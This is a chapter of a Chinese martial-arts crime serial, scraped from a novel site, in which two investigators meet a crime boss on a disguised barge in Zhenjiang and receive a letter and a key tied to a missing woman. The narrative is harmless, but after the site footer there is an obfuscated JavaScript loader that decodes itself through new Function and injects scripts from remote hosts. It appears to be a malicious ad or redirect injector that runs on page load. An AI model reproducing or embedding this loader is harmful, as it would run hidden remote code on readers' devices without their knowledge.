第0281章 码头上的皇神
第0281章码头上的皇神(第1/2页)
镇江的七月,正午的日头能把柏油路面晒出一层油光。
西津渡老码头已经停运十二年了,自从新港建起来之后,这片水域就只剩下几艘锈穿了底的旧驳船,半沉半浮地搁在岸边,像几条搁浅的死鲸。江风吹过来,带着一股混合了铁锈、柴油和死鱼烂虾的腥味。
楼明之站在码头的旧候船室里,透过碎了半边的玻璃窗往外看。
码头空旷得不像话,方圆两百米内没有任何遮蔽物。如果这是一个陷阱,他和谢依兰就是两只走进靶场的活靶子。
“你看那边。”谢依兰站在他身后,抬手指向码头尽头的龙门吊。
那架龙门吊起码有三十米高,钢架结构上爬满了铁锈和鸟粪,吊臂顶端却蹲着一个人。那人穿着一件灰扑扑的旧夹克,大热天戴着一顶鸭舌帽,帽檐压得极低,看不清脸。他蹲在吊臂末端的姿势很放松,像一只蹲在电线上的麻雀,丝毫不担心自己会掉下去。
“不是买卡特。”谢依兰收回目光,“蹲姿重心压在后脚掌,前脚掌虚点,随时可以往后翻。这是练过轻功的人的习惯。应该是买卡特的护卫。”
楼明之正要说话,口袋里那枚追魂钱忽然发烫似的硌了他一下。他把它掏出来攥在手心,铜钱冰凉的触感让他冷静了几分。
昨晚故人巷的火烧了整整两个小时。消防队扑灭之后,从废墟里抬出了一具焦尸,烧得面目全非,法医初步判断是六十岁以上的男性。楼明之收到消息的时候,正在出租屋里给谢依兰包扎手臂——追那个夜行人时,她的右臂被瓦片划了一道口子,不深,但血流得不少。她没有吭一声,自己用棉球蘸了碘伏就往伤口上按,眉头都没皱一下。
“走吧。”谢依兰推开门,率先走进正午的暴晒里。
码头的混凝土地面被晒得发烫,隔着鞋底都能感觉到热度。两人走出不到五十米,身后忽然传来一声低沉的引擎声。一辆黑色的丰田埃尔法从码头的旧货场里无声地滑出来,挡在候船室门前,截断了他们的退路。
车门打开,下来四个男人。清一色的黑色短袖,个头都在一米八以上,腰间鼓鼓囊囊的。其中一个人手里拎着一个银色的金属密码箱,另外三个人的目光像三把刀子,从楼明之和谢依兰身上刮过去。
拎箱子的人走到两人面前三步远的地方停下,微微欠了欠身。这个动作让楼明之有些意外——欠身不是示弱,而是一种恰到好处的克制,像是一家高档餐厅的领班在迎接熟客。
“楼先生,谢小姐。皇神在船上等二位。”
他侧身做了个“请”的手势,指向码头最外侧的那艘旧驳船。那艘驳船从外面看和其他废船没什么区别,铁壳锈得斑驳,船身吃水线以下长满了藤壶。但走近了就能看出来——它的甲板是重新铺过的,船舱的窗户全部换成了防弹玻璃,船舷两侧各装着一台静音引擎,排气管深入水下,启动时几乎听不到任何声音。
这是一艘披着废船外衣的水上堡垒。
跳板放了下来。谢依兰走在前面,踏上跳板时步态从容,没有回头看一眼身后的四个黑衣人。楼明之跟上她,在心里默默数着周围的环境细节:甲板上两个摄像头,船舱门上方一个,龙门吊方向没有视线死角,说明那上面蹲着的人确实是买卡特的眼线;岸边那辆埃尔法的车牌是镇江本地的,但车身上没有车架号,是黑户车;四个黑衣人的步态统一,都是左脚先迈,显然受过同一种训练。
船舱门打开,一股冷气扑面而来。
舱内的装潢和外面的锈迹斑斑判若两个世界。地面铺着深灰色的羊绒地毯,墙壁是哑光黑的实木饰面,左侧是一整面墙的显示器,屏幕上是十几个分屏画面,分别显示着码头各个角度的实时监控。右侧是一个酒柜,里面的酒瓶排列整齐,灯光打得恰到好处,像一个小型的高端酒吧。
正中央的沙发上坐着一个人。
买卡特。
他的模样和楼明之在档案里看到的照片不太一样。照片上的他偏瘦,颧骨高耸,眼窝深陷,像一只随时准备扑食的猎豹。眼前这个人要圆润一些,穿着一件宽松的亚麻衬衫,袖子卷到手肘,露出右小臂上一道从手腕延伸到肘窝的旧伤疤。他面前的茶几上没有酒,没有雪茄,只放着一壶冒着热气的茶和三个白瓷杯。
“坐。”
买卡特的声音不高,普通话带着一点南方的软糯口音,完全不像一个掌控地下交易网络二十年的人该有的腔调。他抬手示意两人在对面的沙发上坐下,动作随意得像是在请老朋友喝茶。
楼明之没坐。他把那枚追魂钱搁在茶几上,铜钱在玻璃台面上转了两圈才倒下。
“你昨晚发的短信,今天你的人就烧死了褚铁衣。”楼明之盯着买卡特的眼睛,“你想见我,为什么不直接来敲门?”
买卡特端起茶杯抿了一口,眼皮都没抬。
“第一,褚铁衣不是我杀的。我的人赶到故人巷的时候,火已经烧起来了。第二,”他放下杯子,身体微微前倾,目光终于落在了楼明之脸上,“我要见你,是因为你手里有两枚青霜令。许又开手里也有两枚。五枚令牌,四枚已经有了下落。最后那一枚,在谢秋霜手里。”
他转头看向谢依兰,眼神里多了一种说不清道不明的东西。
“谢小姐,你师叔失踪五年,许又开翻了镇江城都没找到她。你知道为什么吗?”
谢依兰迎着他的目光,没有退缩:“因为她不在镇江。”
“聪明。”买卡特笑了一下,但笑意没有到达眼底,“谢秋霜五年前离开镇江,去了一个谁都想不到的地方——她去了许又开的老家,住在他祖宅隔壁,当了他三年的邻居。最危险的地方最安全,这个道理她比谁都懂。”
楼明之和谢依兰同时愣住了。
这个信息完全不在他们的预料之内。谢秋霜失踪五年,所有人都以为她要么死了,要么躲在某个偏远的山村隐姓埋名。谁能想到她居然大摇大摆地住进了许又开的老家,就在他眼皮子底下?
“你是怎么知道的?”楼明之问。
“因为我找了她五年。”买卡特靠在沙发背上,手指摩挲着手臂上的那道伤疤,动作很慢,像在抚摸一段久远的记忆,“青霜门覆灭那天晚上,我父亲是第一个死的。他挡在门主夫妇面前,被许又开一剑割断了喉咙。那年我二十岁,在泰国打地下黑拳,连他的最后一面都没见到。”
船舱里安静下来,只有空调送风的轻微嗡鸣声。
“我花了二十年,从泰国到缅甸,从金三角到云南,一步一步把生意做大。你以为我想要钱?想要权?”买卡特的声音依然平静,但握着茶杯的手指关节已经发白,“我要的是一件事——让许又开活着站到我面前,看着我,承认他杀了我父亲。”
谢依兰开口了,声音很轻:“那你为什么不直接杀了他?”
“因为他身上有一件东西,比他的命更重要。”买卡特站起来,走到酒柜旁边,拉开最下面的抽屉,从里面取出一个紫檀木盒子。盒子上没有锁,但合页处被摩挲得发亮,显然经常被人打开。
他打开盒子,里面躺着一枚青铜令牌。
和楼明之的那两枚形制完全相同,只是纹路不一样——这枚刻的是山纹。
“火纹令。”买卡特把它放在茶几上,“我父亲是青霜门四大护法之一,掌管火纹令。当年许又开杀他,就是为了夺这枚令牌。但他不知道的是,我父亲在死前把令牌吞进了肚子里。法医验尸的时候才发现,食道都被令牌的棱角割穿了。”
他说话的语气很平淡,像是在讲述一件和自己毫不相干的往事。但楼明之注意到,他说到“吞进肚子里”的时候,眼皮跳了一下。
“许又开手里的两枚令牌,一枚是他自己的蛇纹令,另一枚是他从严世昌手里抢来的水纹令。”买卡特重新坐下,目光在三枚令牌之间来回扫视,“现在你们手里有云纹令和水纹令,我手里有火纹令,许又开手里有蛇纹令。五缺一,缺的是门主亲传的天纹令。那枚令牌,在谢秋霜手里。”
“所以你想跟我们合作。”楼明之直截了当。
“合作?”买卡特摇了摇头,嘴角勾起一个意味不明的弧度,“楼警官,你搞错了一件事。我不是在跟你们合作。我是来给你们一个选择。”
他伸出一根手指。
“第一条路:你们继续自己查,许又开继续追杀你们,你们迟早会变成第二对褚铁衣。到时候你们的令牌落入许又开手里,他凑齐四枚,再找到谢秋霜,打开密室,毁掉证据,这个案子就永远翻不了了。”
他伸出第二根手指。
“第二条路:你们把两枚令牌给我,我替你们对付许又开。我有人,有资源,有二十年积累的情报网,我可以在一个月之内逼他出手,让他自己露出破绽。”
他伸出第三根手指。
“第三条路——”
“第三条路是我们三方联手,”谢依兰忽然打断他,语气笃定得不像是猜测,“你出情报和人手,我们出两枚令牌和官面上的资源。事成之后,许又开交给你,剑谱和证据归我们,令牌——全部销毁。”
买卡特看着她,眼睛里终于露出了一丝真正的兴趣。
“谢小姐,你比你师叔聪明。谢秋霜当年要是肯跟我合作,事情早就结束了。”他端起茶杯,对着谢依兰微微举了一下,像是在敬一杯酒,“不错,第三条路,才是我想跟你们谈的。”
(本章未完,请点击下一页继续阅读)第0281章码头上的皇神(第2/2页)
楼明之沉默了片刻,拿起茶几上的追魂钱,把它翻到背面,蛇纹剑柄的标记在舱内的灯光下清晰可见。
“许又开昨晚放这枚铜钱,是在试探我们和你的关系。”他把铜钱放回口袋,“他算准了褚铁衣会把事情告诉我们,也算准了我们今天会来见你。”
“当然。”买卡特说,“他一直在等一个机会,等我和你们联手。因为他知道,只有我们三方碰在一起,谢秋霜才会现身。谢秋霜现身,天纹令才会出现。五枚令牌齐聚,密室才能打开。”
“他在利用我们钓鱼。”
“没错。但我们也在利用他的利用。”买卡特站起来,走到那面监控墙前,手指在触摸屏上划了几下,调出一张照片。
照片上是一栋老式的徽派建筑,白墙黑瓦,马头墙高耸,门前有一条窄窄的石板巷。建筑的外墙爬满了爬山虎,大门紧闭,门楣上的匾额被爬山虎遮了大半,隐约能看到“许宅”两个字。
“许又开的老家,安徽绩溪,龙川村。”买卡特指着照片上紧挨着许宅的一栋小房子说,“这一栋,是谢秋霜租住的房子。她在里面住了三年,直到两个月前才搬走。”
“搬去了哪里?”
“不知道。但她在搬走之前,做了一件很有意思的事。”买卡特放大照片,画面聚焦在许宅的大门上,门缝里塞着一个不起眼的白色信封。“她给许又开的老宅塞了一封信。信封上写的是——‘许又开亲启,谢秋霜缄’。”
楼明之的心跳忽然加快了。
“信的内容呢?”
“许又开没拿到。因为那封信,被我的人截了。”买卡特从紫檀木盒的夹层里抽出一个信封,搁在茶几上。
白色的信封,牛皮纸质地,上面用毛笔写着六个字——许又开亲启。落款是“谢秋霜缄”,笔迹清秀端正,一钩一画都透着旧式文人的风骨。信封已经被打开了,封口处有整齐的刀割痕迹。
“信里写了什么?”谢依兰的声音有些发紧。
买卡特没有直接回答。他把信纸从信封里抽出来,摊在茶几上。信纸是老式的宣纸信笺,上面只有寥寥数行字,字迹和信封上的一致——
“许先生:二十年未见,别来无恙。令郎的事,我已经知道了。八月十五,中秋月圆,我会带着你找了二十年的东西,在青霜门旧址等你。届时,把令郎带来,我们做一个交换。”
落款处没有签名,只盖了一枚小小的朱砂印章。印章的图案是一把剑,剑身上刻着一个篆体的“霜”字。
“谢秋霜不知道许又开的儿子已经死了。”买卡特说,“许又开的独子许嘉树,三年前在澳洲出车祸去世。消息被许又开封锁了,外界几乎没人知道。谢秋霜这五年躲在绩溪,消息闭塞,她大概还以为许嘉树在许又开身边。”
楼明之盯着那封信,脑子里飞速转着。
许又开有儿子。这个信息他在任何公开资料里都没有查到过。许又开的公开履历上只写“独居,无子女”。如果买卡特说的是真的,那许又开不仅有一个儿子,而且这个儿子在三年前死了,死因是澳洲车祸。
“许嘉树的死,和青霜门案有关吗?”他问。
“不知道。”买卡特说,“但有一条很有意思的线索——许嘉树在死前一个月,曾经从澳洲给国内打过一通电话。通话时长四十七分钟,对方不是许又开,而是一个女人。那个女人的身份,我查了三年都没查出来。”
谢依兰忽然站了起来,走到监控墙前,盯着那张老宅的照片看了很久。
“师叔这封信,是一个陷阱。”她转过身,目光灼灼,“她知道许又开不可能带许嘉树去赴约,因为许嘉树已经死了。她在试探许又开——如果他去了,就说明他急于拿到天纹令,不惜假装儿子还活着。如果他不去——”
“如果他不去,就说明他心虚,不敢面对她。”楼明之接过话头,“无论许又开怎么选,都会露出破绽。”
买卡特轻轻鼓了两下掌。
“你们俩果然比我想的要聪明。”他把信纸重新折好放回信封,推到茶几中央,“这封信,是我给二位的见面礼。八月十五是阳历九月二十号,距今还有五十多天。这段时间,我会派人保护你们的安全——当然,你们可能不信任我,所以保护的方式会比较隐蔽。”
他顿了顿,脸上露出一个意味深长的笑容。
“另外,还有一件事,你们可能会感兴趣。许又开最近在筹备一场大活动,叫‘青霜剑影——武侠文化回顾展’,据说会展出青霜门的失传信物。时间定在八月十四,地点在镇江博物馆。八月十四,中秋前夜。八月十五,青霜门旧址之约。时间排得这么紧,你们不觉得太巧了吗?”
楼明之和谢依兰对视一眼,同时想到了同一个人——褚铁衣。
褚铁衣在临死前说过,有些真相一旦揭开,死的人会比二十年前更多。许又开选在中秋前夜办展览,中秋当天赴约,两场大戏连在一起,说明他已经做好了所有准备,要把二十年前的旧账在这一天全部清算。
“他要在中秋那天,把所有知情人一网打尽。”楼明之说。
“所以在那之前,他不会杀你们。”买卡特说,“他需要你们活着,因为你们手里的令牌,是打开密室必不可少的钥匙。中秋那天,他会想尽一切办法让你们带着令牌去青霜门旧址。届时,那里会有一场好戏。”
谢依兰拿起茶几上的信,仔细端详着封口处的刀痕。刀痕整齐,说明拆信的人手法很稳,不慌不忙。
“你拆了师叔给许又开的信,”她抬起眼直视买卡特,“然后来跟我们谈合作。买卡特先生,你凭什么让我们相信,你不会在事成之后,连我们一起算计?”
买卡特没有回答这个问题。他站起来,走到谢依兰面前,相距不到一尺。他的身高比谢依兰高半个头,此刻居高临下地看着她,眼神里没有威胁,却有一种深沉的疲惫。
“谢小姐,我二十岁那年,在泰国地下拳场被人打断三根肋骨,躺在水泥地上吐了半盆血,没有一个人来扶我。从那以后,我就不相信任何人了。”
他拉起右臂的袖子,露出那道从手腕延伸到肘窝的旧伤疤。
“这道疤,是我二十八岁那年自己割的。当时我已经攒够了第一笔钱,可以买凶杀许又开。但我没下手——因为我发现,杀他一个人太便宜他了。我要让他亲眼看着自己苦心经营的一切,一点一点地崩塌。”
他放下袖子,退后一步。
“所以你们信不信我,对我来说不重要。重要的是,我们有共同的敌人。至于事成之后——”他笑了一下,笑容里有刀锋的寒意,“等事成之后再说。”
船舱外传来引擎启动的声音,埃尔法缓缓驶离码头。买卡特按了一下墙上的按钮,跳板重新放下,金色的江光照进舱内,把所有人的影子都拉得长长的。
“时间到了。我下午还有一批货要处理。”他做了个送客的手势,随即像是想起什么似的,从口袋里掏出一样东西递给谢依兰,“对了,这个给你们。算是额外的见面礼。”
是一把钥匙,老式的黄铜钥匙,拴在一根红绳上。
“这是什么?”
“镇江图书馆古籍室,三号柜,四排七号架。谢秋霜五年前离开镇江之前,在那里存了一个档案袋。她用的是别人的名字登记的,所以许又开的人没找到。”买卡特转身走向舱门,背对着他们挥了挥手,“档案袋里有她这五年调查的全部资料。包括——许又开和当年青霜门案的官方经办人之间的往来记录。”
楼明之握着钥匙的手微微收紧。官方经办人——他恩师当年就是那个经手人。如果谢秋霜的资料里有恩师和许又开之间关系的记录,那恩师被陷害的真相,也许就藏在那份档案袋里。
两人走出船舱,踏上跳板。正午的阳光刺得人睁不开眼,江风吹过来,把码头的腥味吹散了一些。
身后传来买卡特的声音,被江风吹得有些飘忽:“楼警官,替我给你恩师上炷香。他是条汉子。”
楼明之没有回头。
走到码头上的时候,谢依兰忽然停下脚步,抬头看了一眼龙门吊顶端。那个蹲在上面的人影已经不见了,只剩下锈迹斑斑的钢架在日光下沉默地矗立着。
“你信他吗?”她问。
楼明之把玩着手里的黄铜钥匙,钥匙在指缝间翻转,反射出一点一点的金光。
“一半。”他说,“但你师叔这五年调查的资料,必须拿到手。”
他抬手看了眼手表——下午两点不到。距离镇江图书馆闭馆还有四个小时,时间很充裕。两人快步走出码头,在路边拦了一辆出租车。楼明之拉开车门的时候,手机震动了一下,又是一条陌生号码的短信,但不是昨晚那个号码。
这次只有一行字:古籍室的东西,拿完立刻走。有人在盯。
号码归属地显示:安徽绩溪。
谢依兰凑过来看了一眼屏幕,瞳孔微缩。绩溪——她师叔两个月前还在那里。
“是她。”谢依兰的声音压得很低,但楼明之听出了她语气里那一丝极力克制的颤抖,“师叔在看着我们。”
出租车驶出码头,后视镜里,那艘伪装成废船的灰色驳船越来越小,最终消失在江面的反光里。楼明之把那把黄铜钥匙攥在手心,钥匙的齿牙硌得掌心生疼,但他没有松开,像一个溺水的人抓住最后一根浮木。
一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();